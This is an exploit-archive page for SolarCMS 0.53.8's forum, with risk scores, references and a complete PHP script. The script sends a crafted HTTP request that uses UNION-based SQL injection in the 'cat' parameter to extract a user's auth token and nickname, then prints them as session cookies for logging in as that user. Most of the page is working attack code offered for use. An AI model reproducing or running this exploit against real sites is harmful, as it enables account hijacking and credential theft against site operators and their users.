SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit

2009.03.04
Credit: athos
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php error_reporting(0); /*************************************************************** * --------------------------------------------------------- * * SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit * * --------------------------------------------------------- * * by athos - staker[at]hotmail[dot]it * * download on http://cms.maury91.org/ * * works regardless PHP.ini settings * * --------------------------------------------------------- * ***************************************************************/ list($file,$host,$path,$myid,$table) = $argv; if($argc != 5) usage(); $cookie = (preg_match('/\^(.+?)\^/',get_cookies(),$out)) ? explode(':',$out[1]) : error(); if($path == '/') { print "_nick={$cookie[1]}; path=/;\n"; print "_sauth={$cookie[0]}; path=/;\n"; exit; } else { print "/{$path}_nick={$cookie[1]}; path=/;\n"; print "/{$path}_sauth={$cookie[0]}; path=/;\n"; exit; } function get_cookies() { global $host,$path,$myid,$table; $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,"; $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1\r\n"; $data .= "Host: {$host}\r\n"; $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $data .= "Connection: close\r\n\r\n"; if(!$sock = fsockopen($host,80)) die("connection refused\n"); fputs($sock,$data); while(!feof($sock)) { $html .= fgets($sock); } fclose($sock); return $html; } function error() { print "Exploit Failed!\n"; print "Regards ;)\n"; exit; } function usage() { print "---------------------------------------------------------\n"; print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit\n"; print "---------------------------------------------------------\n"; print "by athos - staker[at]hotmail[dot]it\n"; print "Usage: php xpl.php [host] [path] [userid] [table]\n"; print "php xpl.php localhost / 1 solarcms_users\n"; exit; }

References:

http://www.securityfocus.com/bid/32974
http://www.milw0rm.com/exploits/7548
http://secunia.com/advisories/33269


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top